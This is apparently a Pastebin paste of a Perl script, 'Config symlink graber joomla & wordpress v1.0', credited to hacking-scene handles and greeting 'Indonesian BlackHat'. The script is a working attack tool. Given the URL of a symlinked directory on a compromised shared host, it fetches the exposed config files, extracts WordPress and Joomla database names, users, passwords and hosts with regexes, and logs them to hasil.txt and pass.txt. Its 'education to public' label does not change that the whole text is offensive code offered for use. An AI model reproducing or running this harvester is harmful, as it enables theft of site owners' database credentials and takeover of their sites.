Advertisement
Guest User

Config symlink graber joomla & wordpress v1.0

a guest
Oct 14th, 2014
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.88 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #~--------------------------------------------------------------------------------------------~
  3. #Title : Config symlink graber joomla & wordpress v1.0
  4. #Coder : sohai | Modifed : Mr.GladiatorX207
  5. #Status: Open source |Education to public
  6. #Greetz : Sandy-x207 - Garuda Dot ID - Mr.AryeaKoplaxz404 - ./Priest1972 - xCrotZ - Om-Jin - R3DD3V1L
  7. # 207 Cyber Security | Hacker-Newbie | Indonesian BlackHat | All forum Undergound
  8. #~--------------------------------------------------------------------------------------------~
  9. use HTTP::Request;
  10. use LWP::UserAgent;
  11. my $tulis = "hasil.txt"; #catat logs
  12. my $tulispass = "pass.txt"; #catat logspass
  13. for($i=0;$i<45;$i++){print ("-");}
  14. print ("\nConfig symlink graber joomla & wordpress v1.0\n");
  15. print ("Coder  : sohai\n");
  16. for($i=0;$i<45;$i++){print ("-");}
  17. print "\nInput websymlink : "; #ex : http://target.com/dir/
  18. $url =<stdin>;
  19. chomp $url;
  20. my $get_web = &Get($url);
  21. my $count = @{[ $get_web =~ /TXT/g ]};
  22. print "Total data : ".$count."\n";
  23. my @hasil = ();
  24. @hasil = ($get_web =~ m/<img\s+src="\/icons\/text\.gif"\s+alt="\[TXT\]">\s+<a href="(.*)">/g);
  25. foreach (@hasil){
  26.     $domain = $url.$_;
  27.     my $grab_config = &Get($domain);
  28.     if ($grab_config =~ m/DB_NAME/i){
  29.         print $domain."\n";
  30.         if ($grab_config =~ m/'DB_NAME', '(.*)'/g) {$db_name = $1;}
  31.         if ($grab_config =~ m/'DB_USER', '(.*)'/g) {$db_user = $1;}
  32.         if ($grab_config =~ m/'DB_PASSWORD', '(.*)'/g) {$db_pass = $1;}
  33.         if ($grab_config =~ m/'DB_HOST', '(.*)'/g) {$db_host = $1;}
  34.         $Dblogs = $no.".[wordpress]DB_HOST=".$db_host." | DB_Name=".$db_name." | DB_USER=".$db_user." | DB_PASS=".$db_pass."\n";
  35.         $Passlogs = $db_pass."\n";
  36.         print $Dblogs;
  37.     }
  38.     if ($grab_config =~ m/joomla/i){
  39.         print $domain."\n";
  40.         if ($grab_config =~ m/db = '(.*)';/g) {$db_name = $1;}
  41.         if ($grab_config =~ m/password = '(.*)';/g) {$db_pass = $1;}
  42.         if ($grab_config =~ m/host = '(.*)';'/g) {$db_host = $1;}
  43.         if($grab_config =~ m/mosConfig_user/i){
  44.             if($grab_config =~ m/mosConfig_user = '(.*)';/g) {$db_user = $1;}        
  45.         }
  46.         if($grab_config =~ m/user = '/i){
  47.             if($grab_config =~ m/var $user = '(.*)';/g) {$db_user = $1;}    
  48.         }
  49.         $Dblogs = $no.".[joomla]DB_HOST=".$db_host." | DB_Name=".$db_name." | DB_USER=".$db_user." | DB_PASS=".$db_pass."\n";
  50.         $Passlogs = $db_pass."\n";
  51.         print $Dblogs;
  52.     }
  53.     open(LOG,">>$tulis");
  54.     print LOG $Dblogs;
  55.     open(LOG,">>$tulispass");
  56.     print LOG $Passlogs;
  57.     close(LOG);
  58.     $no++;
  59. }
  60.  
  61. sub Get() {
  62.     my $url = $_[0];
  63.     my $ua = LWP::UserAgent->new(agent => "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6");
  64.     $ua->timeout(10);
  65.     my $req = HTTP::Request->new(GET => $url);
  66.     my $res = $ua->request($req);
  67.     return $res->content;
  68. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement